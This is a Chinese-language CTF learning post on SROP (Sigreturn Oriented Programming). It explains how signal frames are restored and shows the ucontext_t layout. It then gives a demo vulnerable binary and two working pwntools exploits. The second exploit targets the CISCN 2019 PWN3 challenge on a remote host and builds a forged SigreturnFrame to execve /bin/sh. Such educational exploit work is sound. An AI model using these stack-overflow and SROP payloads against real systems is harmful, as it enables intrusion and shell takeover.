SROP

pic

前言

SROP(Sigreturn Oriented Programming)这种利用方法经常会用在bypass一些沙盒保护或者是一些高版本的glibc的利用方式如house of pig ,house of banana 等,是很多利用方式的一个前置技能,故特地来学习下。

原理

下图是当Linux/Unix操作系统中一个进程从接收到一个信号(signal)到恢复进程执行所经历的一个过程。
pic

Step1: 用户层接收到一个signal

Step2: 内核层会保存当前进程的上下文即sigFrame(即寄存器的状态)到栈上,然后被内核挂起。此时sigFrame顶部的八/四个字节会被设置为rt_sigreturn,rt_sigreturn处的内容指向sigreturn系统调用代码。

Step3: 用户层的Signal Handle将会对接受到的signal做一个处理,处理结束后会将栈顶指针指向rt_sigreturn。

Step4: sigreturn系统调用最终会根据SigFrame中的数据将上下文恢复

Step5: 继续执行进程

那么我们的攻击思路就很显而易见了,如果我们在sigreturn恢复进程上下文之前就将SigFrame中的数据篡改为我们的恶意代码,就能控制寄存器来劫持程序执行流

Step4中sigreturn恢复上下文的操作其实是根据ucontext_t结构体来恢复,ucontext结构体内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// defined in /usr/include/sys/ucontext.h
/* Userlevel context. */
typedef struct ucontext_t
{
unsigned long int uc_flags; // 0-8
struct ucontext_t *uc_link; // 8-16
stack_t uc_stack; // 16-40 the stack used by this context
mcontext_t uc_mcontext; // 40-296 the saved context
sigset_t uc_sigmask;
struct _libc_fpstate __fpregs_mem;
} ucontext_t;

// defined in /usr/include/bits/types/stack_t.h
/* Structure describing a signal stack. */
typedef struct
{
void *ss_sp;
size_t ss_size;
int ss_flags;
} stack_t;

// difined in /usr/include/bits/sigcontext.h
struct sigcontext
{
__uint64_t r8; // 40-48
__uint64_t r9; // 48-56
__uint64_t r10; // 56-64
__uint64_t r11; // 64-72
__uint64_t r12; // 72-80
__uint64_t r13; // 80-88
__uint64_t r14; // 88-96
__uint64_t r15; // 96-104
__uint64_t rdi; // 104-112
__uint64_t rsi; // 112-120
__uint64_t rbp; // 120-128
__uint64_t rbx; // 128-136
__uint64_t rdx; // 136-144
__uint64_t rax; // 144-152
__uint64_t rcx; // 152-160
__uint64_t rsp; // 160-168
__uint64_t rip; // 168-176
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};

而SROP其实就是伪造ucontext_t结构体,而在pwntools中已经集成了相关的方法

具体构造方法见:http://docs.pwntools.com/en/stable/rop/srop.html?highlight=srop

Demo(摘自EX师傅的博客)

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// compiled: 
// gcc -g -c -fno-stack-protector srop.c -o srop.o
// ld -e main srop.o -o srop

char global_buf[0x200];

int main()
{
asm(// 读取最多 200 字节
"mov $0, %%rax\n" // sys_read

"mov $0, %%rdi\n" // fd
"lea %0, %%rsi\n" // buf
"mov $0x200, %%rdx\n" // count

"syscall\n"
// 读取字节数小于 ucontext_t结构体则直接 exit
"cmp $0xf8, %%rax\n"
"jb exit\n"

// 进行恢复上下文
"mov $0, %%rdi\n"
"mov %%rsi, %%rsp\n"
"mov $15, %%rax\n" // sys_rt_sigaction

"syscall\n"
"jmp exit\n"

/* split */
"nop\n"
"nop\n"

// syscall 的 symbol,便于查找
"syscall:\n"
"syscall\n"
"jmp exit\n"

// 退出程序
"exit:\n"
"mov $60, %%rax\n"
"mov $0, %%rsi\n"
"syscall\n"
:
: "m" (global_buf)
:
);
}

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

context.arch = "amd64"
# context.log_level = "debug"
elf = ELF('./srop')
sh = process('./srop')

# 生成调试文件
try:
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
print(e)

str_bin_sh_offset = 0x100

# Creating a custom frame
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = elf.symbols['global_buf'] + str_bin_sh_offset
frame.rsi = 0
frame.rdx = 0
frame.rip = elf.symbols['syscall']

# pause()

sh.send(bytes(frame).ljust(str_bin_sh_offset, b'a') + b'/bin/sh\x00')

sh.interactive()

# 删除调试文件
os.system("rm -f pid")

列题

[CISCN 2019华南]PWN3

题目分析

vuln函数中存在明显的栈溢出,且read和write函数都是通过syscall来调用的,同时write会打印出一个栈地址

pic

同时题目还给到一个gadget
pic

这题目的用意就很明显了,“mov rax 0x0f”,而sigreturn的系统调用号就正好是15号,题目中也给出了“syscall ret ”这意味着我们可以直接调用sigreturn,通过伪造SigFrame来控制寄存器,/bin/sh的地址我们可以通过之前打印出来的栈地址减去偏移来计算。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import * 

#p = process("ciscn_s_3")
p = remote("1.14.71.254",28101)
elf = ELF('ciscn_s_3')
context.arch = 'amd64'

main = elf.sym['main']
syscall_15 = 0x0000000004004DA
syscall = 0x000000000400517
p.sendline(b'a'*0x10+p64(main))
p.recvuntil(b'a'*0x10)
#gdb.attach(p)
stack_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
success("stack:"+hex(stack_addr))
bin_sh = stack_addr - 0x138
farme = SigreturnFrame()
farme.rax = 59
farme.rdi = bin_sh
farme.rip = syscall
farme.rsi = 0

payload = b'/bin/sh\x00'+p64(0)+p64(syscall_15)+p64(syscall)+bytes(farme)
p.sendline(payload)

p.interactive()

p.interactive()

Srop进阶

在一些堆的利用中,一般会用setcontext+xx的位置来完成SROP来进行orw,在glibc2.27版本及一下一般是setcontext+53,2.3+版本一般为setcontext+61在后续的一些高版本glibc利用方式的中会详细介绍。

参考

https://www.bilibili.com/video/BV1Uv411j7fr?p=11
https://www.anquanke.com/post/id/85810
http://blog.eonew.cn/archives/975